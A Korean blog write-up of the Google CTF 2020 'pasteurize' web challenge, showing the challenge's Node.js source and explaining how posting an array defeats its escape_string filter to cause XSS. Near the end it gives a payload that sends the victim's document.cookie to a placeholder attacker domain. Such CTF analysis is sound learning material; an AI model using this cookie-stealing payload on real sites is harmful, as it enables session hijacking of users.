Google CTF 2020 문제중 web 문제 `pasteurize` 이다.

 

해당 write up은 외국인의 풀이를 바탕으로 작성되었다.

 

문제 사이트에 접속하면 입력과 제출을 할 수 있는 기능이 있다.

 

 

 

개발자 모드로 보면 `/source` 링크가 있는데 해당 링크로 들어가면 `nodejs`로 코딩된 코드를 볼 수 있다.

 

 

아래는 문제의 코드이다.

const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;

/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
  'hl': 'en',
  callback: 'captcha_cb'
});

/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
  etag: true,
  maxAge: 300 * 1000,
}));

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

/* Just a datastore. I would be surprised if it's fragile. */
class Database {
  constructor() {
    this._db = new Datastore({
      namespace: 'littlethings'
    });
  }
  add_note(note_id, content) {
    const note = {
      note_id: note_id,
      owner: 'guest',
      content: content,
      public: 1,
      created: Date.now()
    }
    return this._db.save({
      key: this._db.key(['Note', note_id]),
      data: note,
      excludeFromIndexes: ['content']
    });
  }
  async get_note(note_id) {
    const key = this._db.key(['Note', note_id]);
    let note;
    try {
      note = await this._db.get(key);
    } catch (e) {
      console.error(e);
      return null;
    }
    if (!note || note.length < 1) {
      return null;
    }
    note = note[0];
    if (note === undefined || note.public !== 1) {
      return null;
    }
    return note;
  }
}

const DB = new Database();

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

/* o/ */
app.get('/', (req, res) => {
  res.render('index');
});

/* \o/ [x] */
app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

/* Share your pastes with TJMike🎤 */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
  const id = req.params.id;

  /* No robots please! */
  if (req.recaptcha.error) {
    console.error(req.recaptcha.error);
    return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
  }

  /* Make TJMike visit the paste */
  utils.visit(id, req);

  res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
});

/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
  res.set("Content-type", "text/plain; charset=utf-8");
  res.sendFile(__filename);
});

/* Let it begin! */
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`);
  console.log('Press Ctrl+C to quit.');
});

module.exports = app;

 

 

 

위 코드를 간단히 분석하면 아래와 같다.

`body-parser` 모듈은 `post로 요청된 데이터를 쉽게 추출할 수 있게 하는 모듈`이다.

`extended`의 값은 `true`로 되어 있는데, 이것의 의미를 `string` 뿐만 아니라 `array` 값도 받을 수 있게 된다.

const bodyParser = require('body-parser');

app.use(bodyParser.urlencoded({
  extended: true
}));

 

extened true와 false의 차이를 자세히 설명한 링크를 참고하자.

https://stackoverflow.com/questions/29960764/what-does-extended-mean-in-express-4-0/45690436#45690436

 

 

사용자가 데이터를 적어 요청을 보내면 아래와 같은 동작을 하게 되는데, 제출한 데이터는 DB에 `note_id`와 함께 저장된다. `note_id`는 `uuidv4()` 함수를 이용하여 랜덤한 값을 리턴 받는다. DB에 저장 후 `/${note_id}`로 리턴하게 된다.

app.post('/', async (req, res) => {
  const note = req.body.content;
  if (!note) {
    return res.status(500).send("Nothing to add");
  }
  if (note.length > 2000) {
    res.status(500);
    return res.send("The note is too big");
  }

  const note_id = uuidv4();
  try {
    const result = await DB.add_note(note_id, note);
    if (!result) {
      res.status(500);
      console.error(result);
      return res.send("Something went wrong...");
    }
  } catch (err) {
    res.status(500);
    console.error(err);
    return res.send("Something went wrong...");
  }
  await utils.sleep(500);
  return res.redirect(`/${note_id}`);
});

 

 

`note_id`로 요청이 되면 DB에서 해당 데이터가 존재하는지 확인한다. 이후 사용자에게 작성된 데이터를 보여주는데 `escape_string()` 함수를 호출하여 특정 문자열을 필터링 후 `render()` 한다.

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

 

 

`escape_string()` 함수는 `stringify()` 함수로 json타입을 변환하고 `slice()` 함수로 맨앞뒤 문자를 자른다. 이후 꺽쇠를 다른문자로 치환한다.

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

 

 

위 과정을 거치면 아래처럼 사용자가 작성한 데이터를 볼 수 있게 된다.

이 페이지에 `javascript` 코드가 있는데 DOM xss를 일으킬 수 있을거 같다.

사용자가 입력한 데이터가 `note`라는 변수에 들어가 있기 때문이다. 더블쿼터로 escape하면 추가적인 script를 작성할 수 있지만, 특수문자는 escape가 된다.

const note = "Universe";
const note_id = "05d8e51d-0197-4be0-957b-f9c920db76f7";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;    

 

 

위에서 `body-parser` 모듈의 `extended` 값이 `true` 이므로 `array`요청을 보낼 수 있는데, 만약 `array`로 요청을 보내면 어떻게 될까?

위 사진처럼 더블쿼터가 escape가 되지 않고 그대로 출력된 것을 볼 수 있다.

이유는 `JSON.stringify()` 에서 `array` 타입을 주면 `string`으로 리턴하는데, 그 값은 "["test"]" 이고 `slice(1,-1)` 로 `"test"` 값만 남게 된 것이다.

 

따라서 post요청시 array로 요청하고 payload는 다음과 같다.

`; new Image().src='http://your_domain.com/?test='+btoa(document.cookie);`

 

자신의 웹 로그에 base64 값으로 요청이 온 것을 볼 수 있고 이를 디코딩하면 `flag` 값을 획득 할 수 있다.

 

`secret=CTF{Express_t0_Tr0ubl3s}`

 

'CTF > etc CTF' 카테고리의 다른 글

[Google CTF 2020] log-me-in write up  (5) 2020.08.27
[Google CTF 2020] pasteurize write up  (0) 2020.08.27
InCTF2020 - coins write up  (0) 2020.08.02
[CTF] - wechall Training: MySQL II 풀이  (0) 2019.04.10